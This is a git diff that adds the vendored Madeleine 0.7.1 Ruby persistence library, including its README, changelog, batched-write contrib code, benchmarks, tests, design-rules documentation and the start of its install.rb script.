+    * No longer requires the system clock to always increase
+    * Shared locks for queries
+
+Madeleine 0.4 (July 4, 2003):
+
+    * Deprecated ClockedSnapshotMadeleine
+    * Added execute_query()
+    * API documentation in RDoc format
+
+Madeleine 0.3 (May 15, 2003):
+
+    * Automatic commands
+    * Some classes exported to the default module
+    * Clock support not loaded by default (require 'madeleine/clock')
+    * Bug fix: Error handling when replaying logged commands.
+    * New system through block instead of argument (API change)
+    * Works in $SAFE = 1
+
+Madeleine 0.2:
+
+    * Supports custom marshalling implementations.
+    * Changed interface for ClockedSystem and Clock.
+    * Some documentation added, including API docs.
+
diff --git a/vendor/madeleine-0.7.1/README b/vendor/madeleine-0.7.1/README
new file mode 100755
index 00000000..3fb6ce17
--- /dev/null
+++ b/vendor/madeleine-0.7.1/README
@@ -0,0 +1,78 @@
+
+Madeleine is a Ruby implementation of Object Prevalence: Transparent
+persistence of business objects using command logging and complete
+system snapshots.
+
+<http://madeleine.sourceforge.net/>
+
+Madeleine's design is based on Prevayler, the original Java
+prevalence layer.
+
+Learn more about object prevalence at <http://www.prevayler.org/>.
+
+
+Installation:
+
+    Typical installation procedure is:
+    $ ruby install.rb config
+    $ ruby install.rb setup
+    # ruby install.rb install  (may require root privilege)
+    Try 'ruby install.rb --help' for detailed usage.
+
+    [From the documentation of Minero Aoki's 'install.rb']
+
+Usage:
+
+    require 'madeleine'
+
+    # Create an application as a prevalent system
+
+    madeleine = SnapshotMadeleine.new("my_example_storage") {
+      SomeExampleApplication.new()
+    }
+
+    # Do modifications of the system by sending commands through
+    # the Madeleine instance. A command is an object with a suitable
+    # "execute(system)" method.
+
+    madeleine.execute_command(command)
+
+
+Requirements:
+
+    * Ruby 1.8.1 or later
+
+    Additionaly, some of the sample code also uses ruby/tk.
+
+
+Known problems:
+
+    * Won't run in some Windows-ports of Ruby due to missing
+      fsync() call.
+
+Contact:
+
+    Homepage:
+    <http://madeleine.sourceforge.net/>
+
+    Questions, bug reports, patches, complaints? Use the mailing list:
+    <http://lists.sourceforge.net/lists/listinfo/madeleine-devel>
+
+License:
+
+    BSD (see the file COPYING)
+
+Credits:
+
+    Anders Bengtsson   -   Prevalence core impl.
+    Stephen Sykes      -   Automatic commands impl.
+
+    With the help of patches, testing and feedback from:
+
+    Steve Conover, David Heinemeier Hansson, Johan Lind, H�kan R�berg,
+    IIMA Susumu, Martin Tampe and Jon Tirs�n
+
+    Thanks to Klaus Wuestefeld and the Prevayler developers for the
+    model of this software; to Minero Aoki for the installer; to Matz and
+    the core developers for the Ruby language!
+
diff --git a/vendor/madeleine-0.7.1/TODO b/vendor/madeleine-0.7.1/TODO
new file mode 100755
index 00000000..d2e14f7b
--- /dev/null
+++ b/vendor/madeleine-0.7.1/TODO
@@ -0,0 +1,23 @@
+
+
+- Fix broken time-dependent unit test
+* Rolling snapshots, with age limit
+- Compressed snapshots
+- Full support for YAML snapshots
+- SOAP marshalling
+* Configurable log marshaller (or use the snapshot marshaller?)
+* Write a document about the different marshallers, for app. developers.
+
+* Move all default implementations into a "Default" module
+* Introduce an object representing a log directory
+* Move recovery out of DefaultSnapshotMadeleine entirely
+* Write an example with a web server
+
+* Replace filesystem with mock objects for unit testing.
+* ClockCommand
+* Integrate batched-writes in SnapshotMadeleine
+* More sample code
+* More documentation
+* DRb integration
+* Rollback
+* Handle broken logs?
diff --git a/vendor/madeleine-0.7.1/contrib/batched.rb b/vendor/madeleine-0.7.1/contrib/batched.rb
new file mode 100755
index 00000000..2532cd64
--- /dev/null
+++ b/vendor/madeleine-0.7.1/contrib/batched.rb
@@ -0,0 +1,298 @@
+# Batched writes for Madeleine
+#
+# Copyright(c) H�kan R�berg 2003
+#
+# 
+# This is an experimental implementation of batched log writes to mininize 
+# calls to fsync. It uses a Shared/Exclusive-Lock, implemented in sync.rb, 
+# which is included in Ruby 1.8.
+#
+# Writes are batched for a specified amount of time, before written to disk and
+# then executed.
+#
+# For a detailed discussion about the problem, see
+#  http://www.prevayler.org/wiki.jsp?topic=OvercomingTheWriteBottleneck
+#
+#
+# Usage is identical to normal SnapshotMadeleine, and it can also be used as
+# persister for AutomaticSnapshotMadeleine. (One difference: the log isn't 
+# visible on disk until any commands are executed.)
+#
+# You can also use the execute_query method for shared synchronzied queries,
+# for eaay coarse-grained locking of the system.
+#
+# The exclusive lock is only locked during the actual execution of commands and
+# while closing.
+#
+# Keeping both log writes and executes of commands in the originating thread 
+# is needed by AutomaticSnapshotPrevayler. Hence the strange SimplisticPipe
+# class.
+#
+# Todo: 
+#    - It seems like Sync (sync.rb) prefers shared locks. This should probably
+#       be changed.
+#
+#
+# Madeleine - Ruby Object Prevalence
+#
+# Copyright(c) Anders Bengtsson 2003
+#
+
+require 'madeleine'
+require 'madeleine/clock'
+
+include Madeleine::Clock
+
+module Madeleine
+  module Batch
+    class BatchedSnapshotMadeleine < SnapshotMadeleine
+
+      def initialize(directory_name, marshaller=Marshal, &new_system_block)
+        super(directory_name, marshaller, &new_system_block)
+        @log_actor = LogActor.launch(self)
+      end
+
+      def execute_command(command)
+        verify_command_sane(command)
+        queued_command = QueuedCommand.new(command)
+        @lock.synchronize(:SH) do
+          raise "closed" if @closed
+          @logger.store(queued_command)
+        end
+        queued_command.wait_for
+      end
+
+      def execute_query(query)
+        verify_command_sane(query)
+        @lock.synchronize(:SH) do
+          execute_without_storing(query)
+        end
+      end
+
+      def close
+        @log_actor.destroy
+        @lock.synchronize do
+          @logger.close
+          @closed = true
+        end
+      end
+
+      def flush
+        @lock.synchronize do
+          @logger.flush
+        end
+      end
+
+      def take_snapshot
+        @lock.synchronize(:SH) do
+          @lock.synchronize do
+            @logger.close
+          end
+          Snapshot.new(@directory_name, system, @marshaller).take
+          @logger.reset
+        end
+      end
+
+      private
+
+      def create_lock
+        Sync.new
+      end
+
+      def create_logger(directory_name, log_factory)
+        BatchedLogger.new(directory_name, log_factory, self.system)
+      end
+
+      def log_factory
+        BatchedLogFactory.new
+      end
+    end
+
+    private
+
+    class LogActor
+      def self.launch(madeleine, delay=0.01)
+        result = new(madeleine, delay)
+        result
+      end
+
+      def destroy
+        @is_destroyed = true
+        if @thread.alive?
+          @thread.wakeup
+          @thread.join
+        end
+      end
+
+      private
+
+      def initialize(madeleine, delay)
+        @is_destroyed = false
+
+        madeleine.flush
+        @thread = Thread.new {
+          until @is_destroyed
+            sleep(delay)
+            madeleine.flush
+          end
+        }
+      end
+    end
+
+    class BatchedLogFactory
+      def create_log(directory_name)
+        BatchedLog.new(directory_name)
+      end
+    end
+
+    class BatchedLogger < Logger
+      def initialize(directory_name, log_factory, system)
+        super(directory_name, log_factory)
+        @buffer = []
+        @system = system
+      end
+
+      def store(queued_command)
+        @buffer << queued_command
+      end
+
+      def close
+        return if @log.nil?
+        flush
+        @log.close
+        @log = nil
+      end
+
+      def flush
+        return if @buffer.empty?
+
+        open_new_log if @log.nil?
+
+        if @system.kind_of?(ClockedSystem)
+          @buffer.unshift(QueuedTick.new)
+        end
+
+        @buffer.each do |queued_command|
+          queued_command.store(@log)
+        end
+
+        @log.flush
+
+        @buffer.each do |queued_command|
+          queued_command.execute(@system)
+        end
+
+        @buffer.clear
+      end
+    end
+
+    class BatchedLog < CommandLog
+      def store(command)
+        Marshal.dump(command, @file)
+      end
+
+      def flush
+        @file.flush
+        @file.fsync
+      end
+    end
+
+    class QueuedCommand
+      def initialize(command)
+        @command = command
+        @pipe = SimplisticPipe.new
+      end
+
+      def store(log)
+        @pipe.write(log)
+      end
+
+      def execute(system)
+        @pipe.write(system)
+      end
+
+      def wait_for
+        @pipe.read do |log|
+          log.store(@command)
+        end
+
+        @pipe.read do |system|          
+          return @command.execute(system)
+        end
+      end
+    end
+
+    class QueuedTick
+      def initialize
+        @tick = Tick.new(Time.now)
+      end
+
+      def store(log)
+        log.store(@tick)
+      end
+
+      def execute(system)
+        @tick.execute(system)
+      end
+    end
+
+    class SimplisticPipe
+      def initialize 
+        @receive_lock = Mutex.new.lock
+        @consume_lock = Mutex.new.lock
+        @message = nil
+      end
+
+      def read
+        begin
+          wait_for_message_received
+
+          if block_given?
+            yield @message
+          else
+            return @message
+          end
+
+        ensure
+          message_consumed
+        end
+      end
+
+      def write(message)
+        raise WriteBlockedException unless can_write?
+
+        @message = message
+        message_received
+        wait_for_message_consumed
+        @message = nil
+      end
+
+      def can_write?
+        @message.nil?
+      end
+
+      private
+ 
+      def message_received
+        @receive_lock.unlock
+      end
+
+      def wait_for_message_received
+        @receive_lock.lock
+      end
+
+      def message_consumed
+        @consume_lock.unlock
+      end
+
+      def wait_for_message_consumed
+        @consume_lock.lock
+      end
+    end
+
+    class WriteBlockedException < Exception
+    end
+  end
+end
+
+BatchedSnapshotMadeleine = Madeleine::Batch::BatchedSnapshotMadeleine
diff --git a/vendor/madeleine-0.7.1/contrib/benchmark.rb b/vendor/madeleine-0.7.1/contrib/benchmark.rb
new file mode 100755
index 00000000..6bb89b42
--- /dev/null
+++ b/vendor/madeleine-0.7.1/contrib/benchmark.rb
@@ -0,0 +1,35 @@
+#!/usr/local/bin/ruby -w
+
+$LOAD_PATH.unshift("../lib")
+
+require 'madeleine'
+require 'batched'
+
+class BenchmarkCommand
+  def initialize(value)
+    @value = value
+  end
+
+  def execute(system)
+    # do nothing
+  end
+end
+
+madeleine = BatchedSnapshotMadeleine.new("benchmark-base") { :the_system }
+
+RUNS = 2000
+
+GC.start
+GC.disable
+
+t0 = Time.now
+RUNS.times {
+  madeleine.execute_command(BenchmarkCommand.new(1234))
+}
+t1 = Time.now
+
+GC.enable
+
+tps = RUNS/(t1 - t0)
+
+puts "#{tps.to_i} transactions/s"
diff --git a/vendor/madeleine-0.7.1/contrib/test_batched.rb b/vendor/madeleine-0.7.1/contrib/test_batched.rb
new file mode 100755
index 00000000..7011634e
--- /dev/null
+++ b/vendor/madeleine-0.7.1/contrib/test_batched.rb
@@ -0,0 +1,245 @@
+#!/usr/local/bin/ruby -w
+#
+# Copyright(c) 2003 H�kan R�berg
+#
+# Some components taken from test_persistence.rb
+# Copyright(c) 2003 Anders Bengtsson
+#
+
+$LOAD_PATH.unshift("../lib")
+
+require 'batched'
+require 'test/unit'
+require 'madeleine/clock'
+
+
+module Madeleine::Batch
+  class BatchedSnapshotMadeleineTest < Test::Unit::TestCase
+
+    class ArraySystem < Array
+      include Madeleine::Clock::ClockedSystem
+    end
+
+    class PushCommand
+      def initialize(value)
+        @value = value
+      end
+
+      def execute(system)
+        system << @value
+      end
+    end 
+
+    class ArrayQuery
+      def initialize
+        @time = []
+      end
+
+      def execute(system)
+        length = system.length
+        @time << system.clock.time
+
+        a = 1
+        system.each do |n|
+          a *= n
+        end      
+
+        raise "inconsistent read" unless length == system.length
+        raise "inconsistent read" unless @time.last == system.clock.time
+      end
+    end
+
+    def test_live_snapshot
+      system = ArraySystem.new
+      w, r = [], []
+      going = true
+
+      madeleine = BatchedSnapshotMadeleine.new(prevalence_base) { system }
+
+      i = 0
+      10.times do |n| 
+        w[n] = Thread.new {
+          while going
+            madeleine.execute_command(PushCommand.new(i))
+            i += 1
+            sleep(0.1)
+          end
+        }
+      end
+
+      q = 0
+      query = ArrayQuery.new
+      100.times do |n| 
+        r[n] = Thread.new {
+          while going
+            begin
+              madeleine.execute_query(query)
+              q += 1
+            rescue
+              fail("Query blocks writing")
+            end
+            sleep(0.1)
+          end
+        }
+      end
+
+      s = 0
+      snapshot = Thread.new {
+        while going
+          madeleine.take_snapshot
+          s += 1
+          sleep(0.01)
+        end
+      }
+
+      sleep(1)
+
+      going = false
+
+      r.each do |t|
+        t.join
+      end
+
+      w.each do |t|
+        t.join
+      end
+
+      snapshot.join
+
+      madeleine.close
+
+      madeleine2 = SnapshotMadeleine.new(prevalence_base)
+      assert_equal(madeleine.system, madeleine2.system,  "Take system snapshots while accessing")
+    end
+
+    def prevalence_base
+      "BatchedSnapshot"
+    end
+
+    def teardown
+      delete_directory(prevalence_base)
+    end
+  end
+
+  class BatchedLogTest < Test::Unit::TestCase
+
+    class MockMadeleine
+      def initialize(logger)
+        @logger = logger
+      end
+
+      def flush
+        @logger.flush
+      end
+    end
+
+    class MockCommand
+      attr_reader :text
+
+      def initialize(text)
+        @text = text
+      end
+
+      def execute(system)
+      end
+
+      def ==(o)
+        o.text == @text
+      end
+    end
+
+    module BufferInspector
+      def buffer_size
+        @buffer.size
+      end
+    end
+
+    def setup
+      @target = BatchedLogger.new(".", BatchedLogFactory.new, nil)
+      @target.extend(BufferInspector)
+      @madeleine = MockMadeleine.new(@target)
+      @messages = []
+    end
+
+    def test_logging
+      actor = LogActor.launch(@madeleine, 0.1)
+      
+      append("Hello")
+      sleep(0.01)
+      append("World")
+      sleep(0.01)
+
+      assert_equal(2, @target.buffer_size, "Batched command queue")
+      assert(!File.exist?(expected_file_name), "Batched commands not on disk")
+
+      sleep(0.2)
+
+      assert_equal(0, @target.buffer_size, "Queue emptied by batched write")
+      file_size = File.size(expected_file_name)
+      assert(file_size > 0, "Queue written to disk")
+
+      append("Again")
+      sleep(0.2)
+
+      assert(File.size(expected_file_name) > file_size, "Command written to disk")
+
+      f = File.new(expected_file_name)
+
+      @messages.each do |message|
+        assert_equal(message, Marshal.load(f), "Commands logged in order")
+      end
+
+      f.close
+
+      actor.destroy
+      @target.flush
+      @target.close
+
+    end
+
+    def append(text)
+      Thread.new { 
+        message = MockCommand.new(text)
+        @messages << message
+        queued_command = QueuedCommand.new(message)
+        @target.store(queued_command)
+        queued_command.wait_for
+      }
+    end
+
+    def expected_file_name
+      "000000000000000000001.command_log"
+    end
+
+    def teardown
+      assert(File.delete(expected_file_name) == 1)
+    end
+
+  end
+
+  def delete_directory(directory_name)
+    Dir.foreach(directory_name) do |file|
+      next if file == "."
+      next if file == ".."
+      assert(File.delete(directory_name + File::SEPARATOR + file) == 1,
+                                                                   "Unable to delete #{file}")
+    end
+    Dir.delete(directory_name)
+  end
+end
+
+ include Madeleine::Batch
+
+def add_batched_tests(suite)
+  suite << BatchedSnapshotMadeleineTest.suite
+  suite << BatchedLogTest.suite
+end
+
+if __FILE__ == $0
+  suite = Test::Unit::TestSuite.new("BatchedLogTest")
+  add_batched_tests(suite)
+
+  require 'test/unit/ui/console/testrunner'
+  Thread.abort_on_exception = true
+  Test::Unit::UI::Console::TestRunner.run(suite)
+end
diff --git a/vendor/madeleine-0.7.1/contrib/test_scalability.rb b/vendor/madeleine-0.7.1/contrib/test_scalability.rb
new file mode 100755
index 00000000..99b7dc5d
--- /dev/null
+++ b/vendor/madeleine-0.7.1/contrib/test_scalability.rb
@@ -0,0 +1,248 @@
+#!/usr/local/bin/ruby -w
+#
+# Copyright(c) 2003 H�kan R�berg
+#
+# This test is based on Prevaylers TransactionTestRun,
+# Copyright(c) 2001-2003 Klaus Wuestefeld.
+#
+
+$LOAD_PATH.unshift("../lib")
+
+require 'madeleine'
+require 'madeleine/clock'
+require 'batched'
+
+module ScalabilityTest
+
+  class TransactionTestRun
+    MIN_THREADS = 20
+    MAX_THREADS = 20
+    NUMBER_OF_OBJECTS = 100000
+    ROUND_DURATION = 20
+    DIR = "ScalabilityBase"
+
+    def initialize
+      @system = TransactionSystem.new
+      @madeleine = BatchedSnapshotMadeleine.new(DIR) { @system }
+      
+      @system.replace_all_records(create_records(NUMBER_OF_OBJECTS))
+
+      @is_round_finished = false
+
+      @best_round_ops_per_s = 0
+      @best_round_threads = 0
+      @operation_count = 0
+      @last_operation = 0
+      @active_round_threads = 0
+      
+      @half_of_the_objects = NUMBER_OF_OBJECTS / 2
+
+      @connection_cache = []
+      @connection_cache_lock = Mutex.new
+
+      ObjectSpace.garbage_collect
+
+      puts "========= Running " + name + " (" + (MAX_THREADS - MIN_THREADS + 1).to_s + " rounds). Subject: " + subject_name + "..."
+      puts "Each round will take approx. " + ROUND_DURATION.to_s + " seconds to run..."
+      perform_test
+      puts "----------- BEST ROUND: " + result_string(@best_round_ops_per_s, @best_round_threads)
+
+      @madeleine.close
+      delete_directory(DIR)
+    end
+      
+    def name
+      "Transaction Test"
+    end
+
+    def subject_name
+      "Madeleine"
+    end
+
+    def result_string(ops_per_s, threads)
+      ops_per_s.to_s + " operations/second (" + threads.to_s + " threads)"
+    end
+
+    def perform_test
+      for threads in MIN_THREADS..MAX_THREADS
+        ops_per_s = perform_round(threads)
+        if ops_per_s > @best_round_ops_per_s
+          @best_round_ops_per_s = ops_per_s
+          @best_round_threads = threads
+        end
+      end
+    end
+
+    def perform_round(threads)
+      initial_operation_count = @operation_count
+      start_time = Time.now.to_f
+
+      start_threads(threads)
+      sleep(ROUND_DURATION)
+      stop_threads
+
+      seconds_ellapsed = Time.now.to_f - start_time
+      ops_per_second = (@operation_count - initial_operation_count) / seconds_ellapsed
+
+      puts
+      puts "Seconds ellapsed: " + seconds_ellapsed.to_s
+      puts "--------- Round Result: " + result_string(ops_per_second, threads)
+
+      ops_per_second
+    end
+
+    def start_threads(threads)
+      @is_round_finished = false
+      for i in 1..threads
+        start_thread(@last_operation + i, threads)
+      end
+    end
+
+    def start_thread(starting_operation, operation_increment)
+      Thread.new {
+        connection = accquire_connection
+
+        operation = starting_operation
+        while not @is_round_finished
+          # puts "Operation " + operation.to_s
+          execute_operation(connection, operation)
+          operation += operation_increment
+        end
+
+        @connection_cache_lock.synchronize do
+          @connection_cache << connection
+          @operation_count += (operation - starting_operation) / operation_increment
+          @last_operation = operation if @last_operation < operation
+          @active_round_threads -= 1
+        end
+      }      
+      @active_round_threads += 1
+    end
+
+    def execute_operation(connection, operation)
+      record_to_insert = Record.new(NUMBER_OF_OBJECTS + operation)
+      id_to_delete = spread_id(operation)
+      record_to_update = Record.new(@half_of_the_objects + id_to_delete)
+      
+      connection.perform_transaction(record_to_insert, record_to_update, id_to_delete)
+    end
+
+    def spread_id(id) 
+      (id / @half_of_the_objects) * @half_of_the_objects + ((id * 16807) % @half_of_the_objects)
+    end
+
+    def create_test_connection
+      TransactionConnection.new(@madeleine)
+    end
+
+    def accquire_connection
+      @connection_cache_lock.synchronize do
+        return @connection_cache.empty? ? create_test_connection : @connection_cache.shift
+      end
+    end
+
+    def stop_threads
+      @is_round_finished = true
+      while @active_round_threads != 0
+        sleep(0.001)
+      end
+    end
+
+    def create_records(number_of_objects)
+      result = []
+      for i in 0..number_of_objects
+        result << Record.new(i)
+      end
+      result
+    end
+
+  
+    def delete_directory(directory_name)
+      Dir.foreach(directory_name) do |file|
+        next if file == "."
+        next if file == ".."
+        File.delete(directory_name + File::SEPARATOR + file)
+      end
+      Dir.delete(directory_name)
+    end
+  end
+
+  class TransactionSystem
+    include Madeleine::Clock::ClockedSystem
+
+    def initialize
+      @records_by_id = Hash.new
+      @transaction_lock = Mutex.new
+    end
+
+    def perform_transaction(record_to_insert, record_to_update, id_to_delete)
+      @transaction_lock.synchronize do
+        put(record_to_insert)
+        put(record_to_update)
+        @records_by_id.delete(id_to_delete)
+      end
+    end
+
+    def put(new_record)
+      @records_by_id[new_record.id] = new_record
+    end
+
+    def replace_all_records(new_records)
+      @records_by_id.clear
+      new_records.each do |record|
+        put(record)
+      end
+    end
+  end
+
+  class TransactionConnection
+    def initialize(madeleine)
+      @madeleine = madeleine
+    end
+
+    def perform_transaction(record_to_insert, record_to_update, id_to_delete)
+      @madeleine.execute_command(TestTransaction.new(record_to_insert, record_to_update, id_to_delete))
+    end
+  end
+
+  class TestTransaction
+    def initialize(record_to_insert, record_to_update, id_to_delete)
+      @record_to_insert = record_to_insert
+      @record_to_update = record_to_update
+      @id_to_delete = id_to_delete
+    end
+    
+    def execute(system)
+      system.perform_transaction(@record_to_insert, @record_to_update, @id_to_delete)
+    end
+  end
+
+  class Record
+    attr_reader :id, :name, :string_1, :date_1, :date_2
+    
+    def initialize(id)
+      @id = id
+      @name = "NAME" + (id % 10000).to_s
+      @string_1 = (id % 10000).to_s == 0 ? Record.large_string + id : nil;
+      @date_1 = Record.random_date
+      @date_2 = Record.random_date
+    end
+
+    def self.large_string
+      [].fill("A", 1..980).to_s
+    end
+
+    def self.random_date
+      rand(10000000)
+    end
+  end
+end
+
+if __FILE__ == $0
+  puts "Madeleine Scalability Test"
+  puts "Based on Prevaylers Scalability Test"
+  puts
+  
+  Thread.abort_on_exception = true
+  ScalabilityTest::TransactionTestRun.new
+end
diff --git a/vendor/madeleine-0.7.1/contrib/threaded_benchmark.rb b/vendor/madeleine-0.7.1/contrib/threaded_benchmark.rb
new file mode 100755
index 00000000..5e8f88a7
--- /dev/null
+++ b/vendor/madeleine-0.7.1/contrib/threaded_benchmark.rb
@@ -0,0 +1,44 @@
+#!/usr/local/bin/ruby -w
+
+$LOAD_PATH.unshift("../lib")
+
+require 'madeleine'
+require 'batched'
+
+class BenchmarkCommand
+  def initialize(value)
+    @value = value
+  end
+
+  def execute(system)
+    # do nothing
+  end
+end
+
+madeleine = BattchedSnapshotMadeleine.new("benchmark-base") { :the_system }
+
+RUNS = 200
+THREADS = 10
+
+GC.start
+GC.disable
+
+t0 = Time.now
+
+threads = []
+THREADS.times {
+  threads << Thread.new {
+    RUNS.times {
+      madeleine.execute_command(BenchmarkCommand.new(1234))
+    }
+  }
+}
+threads.each {|t| t.join }
+t1 = Time.now
+
+GC.enable
+
+tps = (THREADS * RUNS)/(t1 - t0)
+
+puts "#{tps.to_i} transactions/s"
+
diff --git a/vendor/madeleine-0.7.1/docs/.cvsignore b/vendor/madeleine-0.7.1/docs/.cvsignore
new file mode 100755
index 00000000..eedd89b4
--- /dev/null
+++ b/vendor/madeleine-0.7.1/docs/.cvsignore
@@ -0,0 +1 @@
+api
diff --git a/vendor/madeleine-0.7.1/docs/designRules.html b/vendor/madeleine-0.7.1/docs/designRules.html
new file mode 100755
index 00000000..c6db4546
--- /dev/null
+++ b/vendor/madeleine-0.7.1/docs/designRules.html
@@ -0,0 +1,87 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN">
+<html>
+<head>
+<title>Design rules - Madeleine</title>
+<link type="text/css" href="docs.css" rel="stylesheet">
+</head>
+
+<body>
+
+<h1>Design rules</h1>
+
+<p>This is a summary of the design rules your application has to
+follow to work with Madeleine.
+
+
+<h2>The Prevalent System</h2>
+
+<h3>Your objects have to fit into memory</h3>
+
+<p>All of them. At the same time.
+
+<h3>Your objects have to be marshallable</h3>
+
+<p>Snapshots are taken of the system by marshalling the whole system to a
+file. If your classes can't be marshalled/unmarshalled then Madeleine
+won't be able to store/restore the system.
+
+<h3>Your objects have to be deterministic</h3>
+
+<p><em>Deterministic</em> means that, given the same commands, they have
+to always give the same results.
+
+<p>For the much of your code this won't
+be a problem, but there are a few common issues:
+
+<h4>The system clock</h4>
+<p>You can't use the system clock (see instead ClockedSystem and TimeActor).
+
+<h4>Random numbers</h4>
+<p><code>Kernel.rand()</code> uses the system clock internally by
+default. Use <code>Kernel.srand()</code> to seed the random number
+generator before using <code>rand()</code>.
+
+<h4>Files, network and other IO</h4>
+<p>You generally can't access the outside world from within your
+prevalent system. Instead do IO outside of the prevalent system and
+call into the system when needed.
+
+<h3>Changes to the system have to be done through command
+objects</h3>
+
+<p>Everything that modifies the prevalent system must be done through a
+<em>command object</em> sent to the Madeleine instance, using
+<code>execute_command(aCommand)</code>. Queries that don't modify the
+system can be done either through direct method calls or through
+command objects.
+
+<h2>Command Objects</h2>
+
+<p>A command object is an object that implements the method
+<code>execute(system)</code>. They are an example of the "Command"
+design pattern.
+
+<h3>The command objects also have to be marshallable</h3>
+
+<p>Madeleine keeps track of changes between snapshots by logging
+marshalled commands.
+
+<h3>The command must raise errors before modifying the system</h3>
+
+<p>Unlike a RDBMS, Madeleine can't roll back a command (yet). This means
+that your commands will have to do their error checking and raise any
+errors before modifying the system. Failing to do this will cause an
+inconsistent command log.
+
+<h3>Command objects can't hold references to the system's objects</h3>
+
+<p>Unmarshalling such a command would create clones of the original
+objects, which would then be modified instead of the real
+objects. The commands must <i>find</i> the objects to modify.
+
+<hr>
+
+<tt>$Id: designRules.html,v 1.1 2005/01/07 23:03:27 alexeyv Exp $</tt>
+
+</body>
+</html>
diff --git a/vendor/madeleine-0.7.1/docs/docs.css b/vendor/madeleine-0.7.1/docs/docs.css
new file mode 100755
index 00000000..0c70ccde
--- /dev/null
+++ b/vendor/madeleine-0.7.1/docs/docs.css
@@ -0,0 +1,28 @@
+body {
+    background-color: #FFFFF0;
+}
+p {
+    width: 70ex
+}
+h1 {
+    font-family: verdana,arial,helvetica,sans-serif;
+}
+h2 {
+    font-family: verdana,arial,helvetica,sans-serif;
+    background: #EEEEE0;
+}
+h3 {
+    font-family: verdana,arial,helvetica,sans-serif;
+}
+h4 {
+    font-family: verdana,arial,helvetica,sans-serif;
+}
+.classMethod {
+    font-family: courier,monospace;
+    font-weight: bold;
+    background: #EEEEE0;
+}
+.instanceMethod {
+    font-family: courier,sans-serif;
+    background: #EEEEE0;
+}
diff --git a/vendor/madeleine-0.7.1/generate_rdoc.rb b/vendor/madeleine-0.7.1/generate_rdoc.rb
new file mode 100755
index 00000000..b4e0ba7b
--- /dev/null
+++ b/vendor/madeleine-0.7.1/generate_rdoc.rb
@@ -0,0 +1,3 @@
+#!/usr/local/bin/ruby
+
+`rdoc lib --op docs/api`
diff --git a/vendor/madeleine-0.7.1/install.rb b/vendor/madeleine-0.7.1/install.rb
new file mode 100755
index 00000000..e624774e
--- /dev/null
+++ b/vendor/madeleine-0.7.1/install.rb
@@ -0,0 +1,1098 @@
+#
+# This file is automatically generated. DO NOT MODIFY!
+#
+# install.rb
+#
+#   Copyright (c) 2000-2003 Minero Aoki <aamine@loveruby.net>
+#
+#   This program is free software.
+#   You can distribute/modify this program under the terms of
+#   the GNU Lesser General Public License version 2.
+#
+
+### begin compat.rb
+
+module Enumerable
+  methods = instance_methods()
+
+  unless methods.include?('map')
+    alias map collect
+  end
+
+  unless methods.include?('select')
+    alias select find_all
+  end
+
+  unless methods.include?('reject')
+    def reject
+      result = []
+      each do |i|
+        result.push i unless yield(i)
+      end
+      result
+    end
+  end
+
+  unless methods.include?('inject')
+    def inject( result )
+      each do |i|
+        result = yield(result, i)
+      end
+      result
+    end
+  end
+
+  unless methods.include?('any?')
+    def any?
+      each do |i|
+        return true if yield(i)
+      end
+      false
+    end
+  end
+end
+
+def File.read_all( fname )
+  File.open(fname, 'rb') {|f| return f.read }
+end
+
+def File.write( fname, str )
+  File.open(fname, 'wb') {|f| f.write str }
+end
+
+### end compat.rb
+### begin config.rb
+
+if i = ARGV.index(/\A--rbconfig=/)
+  file = $'
+  ARGV.delete_at(i)
+  require file
+else
+  require 'rbconfig'
+end
+
+
+class ConfigTable
+
+  c = ::Config::CONFIG
+
+  rubypath = c['bindir'] + '/' + c['ruby_install_name']
+
+  major = c['MAJOR'].to_i
+  minor = c['MINOR'].to_i
+  teeny = c['TEENY'].to_i
+  version = "#{major}.#{minor}"
+
+  # ruby ver. >= 1.4.4?
+  newpath_p = ((major >= 2) or
+               ((major == 1) and
+                ((minor >= 5) or
+                 ((minor == 4) and (teeny >= 4)))))
+  
+  re = Regexp.new('\A' + Regexp.quote(c['prefix']))
+  subprefix = lambda {|path|
+      re === path and path.sub(re, '$prefix')
+  }
+
+  if c['rubylibdir']
+    # V < 1.6.3
+    stdruby    = subprefix.call(c['rubylibdir'])
+    siteruby   = subprefix.call(c['sitedir'])
+    versite    = subprefix.call(c['sitelibdir'])
+    sodir      = subprefix.call(c['sitearchdir'])
+  elsif newpath_p
+    # 1.4.4 <= V <= 1.6.3
+    stdruby    = "$prefix/lib/ruby/#{version}"
+    siteruby   = subprefix.call(c['sitedir'])
+    versite    = siteruby + '/' + version
+    sodir      = "$site-ruby/#{c['arch']}"
+  else
+    # V < 1.4.4
+    stdruby    = "$prefix/lib/ruby/#{version}"
+    siteruby   = "$prefix/lib/ruby/#{version}/site_ruby"
+    versite    = siteruby
+    sodir      = "$site-ruby/#{c['arch']}"
+  end
+
+  DESCRIPTER = [
+    [ 'prefix',    [ c['prefix'],
+                     'path',
+                     'path prefix of target environment' ] ],
+    [ 'std-ruby',  [ stdruby,
+                     'path',
+                     'the directory for standard ruby libraries' ] ],
+    [ 'site-ruby-common', [ siteruby,
+                     'path',
+                     'the directory for version-independent non-standard ruby libraries' ] ],
+    [ 'site-ruby', [ versite,
+                     'path',
+                     'the directory for non-standard ruby libraries' ] ],
+    [ 'bin-dir',   [ '$prefix/bin',
+                     'path',
+                     'the directory for commands' ] ],
+    [ 'rb-dir',    [ '$site-ruby',
+                     'path',
+                     'the directory for ruby scripts' ] ],
+    [ 'so-dir',    [ sodir,
+                     'path',
+                     'the directory for ruby extentions' ] ],
+    [ 'data-dir',  [ '$prefix/share',
+                     'path',
+                     'the directory for shared data' ] ],
+    [ 'ruby-path', [ rubypath,
+                     'path',
+                     'path to set to #! line' ] ],
+    [ 'ruby-prog', [ rubypath,
+                     'name',
+                     'the ruby program using for installation' ] ],
+    [ 'make-prog', [ 'make',
+                     'name',
+                     'the make program to compile ruby extentions' ] ],
+    [ 'without-ext', [ 'no',
+                       'yes/no',
+                       'does not compile/install ruby extentions' ] ]
+  ]
+
+  SAVE_FILE = 'config.save'
+
+  def ConfigTable.each_name( &block )
+    keys().each(&block)
+  end
+
+  def ConfigTable.keys
+    DESCRIPTER.map {|k,*dummy| k }
+  end
+
+  def ConfigTable.each_definition( &block )
+    DESCRIPTER.each(&block)
+  end
+
+  def ConfigTable.get_entry( name )
+    name, ent = DESCRIPTER.assoc(name)
+    ent
+  end
+
+  def ConfigTable.get_entry!( name )
+    get_entry(name) or raise ArgumentError, "no such config: #{name}"
+  end
+
+  def ConfigTable.add_entry( name, vals )
+    ConfigTable::DESCRIPTER.push [name,vals]
+  end
+
+  def ConfigTable.remove_entry( name )
